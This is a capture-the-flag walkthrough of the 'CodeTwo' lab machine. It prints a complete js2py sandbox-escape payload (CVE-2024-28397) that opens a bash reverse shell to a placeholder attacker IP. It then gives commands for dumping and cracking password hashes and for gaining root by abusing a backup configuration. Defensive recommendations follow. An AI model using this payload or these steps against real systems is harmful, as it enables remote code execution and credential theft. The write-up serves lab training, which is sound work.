# CodeTwo — Walkthrough

**Author:** walkerffx **Target:** Editor machine (10.10.11.82) — HTB-style walkthrough **Difficulty:** Easy **Date:** August 21, 2025

---

## TL;DR (Non-technical)

A web application (`codetwo.htb`) hosted on 10.10.11.82 exposed a JavaScript sandbox that used the `js2py` library poorly. By uploading a malicious JavaScript payload into the in-browser editor, we escaped the sandbox and executed system commands on the server. That gave us user credentials, which we used to SSH into the machine and read the user flag. Final root access was obtained by modifying a backup configuration used by a scheduled backup process to write into `/root`, allowing retrieval of the root flag.

This guide contains both a plain-English summary so non-technical readers can understand the flow, and a detailed technical walkthrough (commands, code, tools) for practitioners.

---

## Non-technical summary (for managers / stakeholders)

- We scanned the machine to discover running services (SSH and a web app).
- We visited the web app and found a feature: an online JavaScript editor that runs code server-side inside a *sandbox*.
- The application used a Python library (`js2py`) to execute JavaScript on the server; that library was misconfigured and allowed an attacker to break out of the sandbox.
- Using a carefully-crafted script, we ran shell commands on the server and created a reverse shell back to our attacker machine. This allowed us to read the application's database and recover user passwords.
- We logged in over SSH with a recovered credential and later manipulated a backup configuration so the backup process placed files in `/root`, enabling full system compromise.

Business impact: a remote attacker could execute arbitrary commands, access stored credentials, and elevate privileges to root if similar misconfigurations exist in production. Fixing requires patching/excluding unsafe libraries from executing untrusted code and tightening backup/config permissions.

---

## Tools used (summary)

- nmap — service/port discovery
- browser (to interact with web app)
- netcat (`nc`) — to catch reverse shells
- js2py exploit (PoC adapted from GitHub) — sandbox escape payload
- sqlite3 / direct DB inspection — pull hashes from `users.db`
- John the Ripper (`john`) — crack password hashes
- ssh — log in as compromised user
- text editors (`nano`, `vim`) and common shell utilities

## Recon & Initial Access (commands)

1. **Nmap scan** to discover open ports and services:

```
nmap -sC -sV 10.10.11.82
```

Observed open ports: `22` (ssh) and `8000` (web app).

1. **Local hosts entry** (optional convenience) — map domain `codetwo.htb` to the host IP:

```
echo "10.10.11.82 codetwo.htb" | sudo tee -a /etc/hosts
```

1. **Browse to the web app**: `http://10.10.11.82:8000` or `http://codetwo.htb:8000`

You will find a login/registration page and, after authentication, an in-browser JavaScript editor.

## Why the JavaScript editor is dangerous (short explanation)

The server executes submitted JavaScript using the Python `js2py` library. `js2py` maps JavaScript objects to Python objects, and if the execution environment (the sandbox) is not strictly limited, an attacker can traverse Python object internals to reach dangerous features like `subprocess.Popen` and run shell commands.

## Exploitation — sandbox escape & reverse shell

Below is the adapted payload used in the in-browser editor to escape the js2py sandbox and spawn a reverse shell back to the attacker's machine.

**Netcat listener (attacker machine):**

```
# on your kali / attacker machine
nc -lvnp 1234
```

**Payload placed in the web editor (JavaScript for js2py sandbox escape):**

```
// [+] replace <ATTACKER_IP> with your VPN IP
let cmd = "/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/1234 0>&1'"

let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
```

```
bymarve = hacked.__getattribute__

n11 = bymarve("__getattribute__")

obj = n11("__class__").__base__

getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            item(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null,
true).communicate()
console.log(n11)

n11
```

**Notes:** - Replace `<ATTACKER_IP>` with your Kali VPN IP (the host receiving the reverse shell). - The payload traverses Python internals to find `subprocess.Popen` and invoke it with a command that connects back to the attacker's netcat listener.

When the payload is submitted, the reverse shell arrives on your listener and you get a shell as the user that the web process runs as (often `app` or similar).

---

## Post-exploitation — database access & password cracking

1. **Inspect the application files** (from the shell) and locate the SQLite DB used for users, e.g. `users.db`.

```
# examine current directory
ls -la
# view DB
sqlite3 users.db
# or copy it to /tmp for offline analysis
cp users.db /tmp/users.db
```

1. **Extract hashes** from the database (example SQL; adjust to actual schema):

```
-- inside sqlite3 users.db
.mode csv
.headers on
SELECT id, username, password_hash FROM users;
```

Save the output to `hash1_john.txt` in the format John expects (or use `--format` if needed).

1. **Crack hashes with John the Ripper**

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash1_john.txt
# view cracked passwords
john --show hash1_john.txt
```

1. **Use recovered credentials to SSH**

```
ssh marco@10.10.11.82
# enter password recovered from john
```

Once logged in as `marco` (or the user you recovered), capture the user flag:

```
cat /home/marco/user.txt
```

---

## Privilege escalation — backup configuration abuse

While on the machine, we discovered a backup configuration file `npbackup.conf` (or similar). The backup process ran as root and used a path specified in the configuration. By changing the backup path to point at `/root` (and backing up the original config first), we induced the backup process to write a backup into `/root` — giving us root-owned files we could read.

**Important:** Always back up config files before editing.

```
# make a safe backup of the config
cp /etc/npbackup/npbackup.conf /tmp/npbackup.conf.bak

# edit the config to change the path from /home/app/app to /root
nano /etc/npbackup/npbackup.conf
# find the path line and change: /home/app/app -> /root

# trigger or wait for the backup process (scheduled or manual)
# if the backup can be triggered manually by the current user, run it;
otherwise wait for the cron/job
```

Once the backup ran, a file (or backup archive) was present under `/root` and could be read to retrieve the root flag:

```
cat /root/root.txt
```

**Alternative safer description:** Depending on system, privilege escalation could also be achieved by misconfigured cron jobs, SUID binaries, or world-writable scripts — always inspect cron (`/var/spool/cron`, `crontab -l`) and systemd timers.

---

## Full list of useful commands from the walkthrough

```
# Recon
nmap -sC -sV 10.10.11.82

# Add host mapping
echo "10.10.11.82 codetwo.htb" | sudo tee -a /etc/hosts

# Start netcat listener (attacker)
nc -lvnp 1234

# Interact with sqlite3
sqlite3 users.db
.mode csv
.headers on
SELECT id, username, password_hash FROM users;

# Crack hashes with John
john --wordlist=/usr/share/wordlists/rockyou.txt hash1_john.txt
john --show hash1_john.txt

# SSH into machine
ssh marco@10.10.11.82

# Backup config
cp /etc/npbackup/npbackup.conf /tmp/npbackup.conf.bak
nano /etc/npbackup/npbackup.conf

# Read flags
cat /home/marco/user.txt
cat /root/root.txt
```

---

## Defensive recommendations (how to prevent this)

1. **Do not execute untrusted JavaScript (or any code) on the server.** If you must, use process isolation (containers or VMs) and strict syscall controls.
2. **Avoid libraries that map untrusted code into host runtime objects** (like `js2py` with default configuration). Prefer safe interpreters or transpile-only approaches.

3. **Run services with least privilege.** The web app should run as an unprivileged user with no access to backup configuration or system sensitive files.
4. **Harden backup tools and configs.** Validate and restrict allowed backup paths; require root-owned configs not writable by web service users.
5. **Credential handling:** store password hashes securely (bcrypt/argon2) and protect DB files from the web process reading them.
6. **Monitor and alert for unusual outbound network connections** originating from web services.

---

## Appendix: Notes on PoC source

The sandbox escape idea follows an existing PoC for CVE-2024-28397 (js2py sandbox escape) — PoC variants exist on GitHub and were adapted to the target environment. When using public PoCs, always adapt and test them offline in a lab before using on any external systems.

---

## Conclusion

This writeup documented how a vulnerable JavaScript sandbox (js2py) was abused to execute arbitrary commands, obtain user credentials, and eventually escalate to root by abusing backup configuration. The root cause is unsafe execution of untrusted code combined with misconfigurations in backup/ permission settings.

**No additional questions.**

---

*End of walkthrough — walkerffx*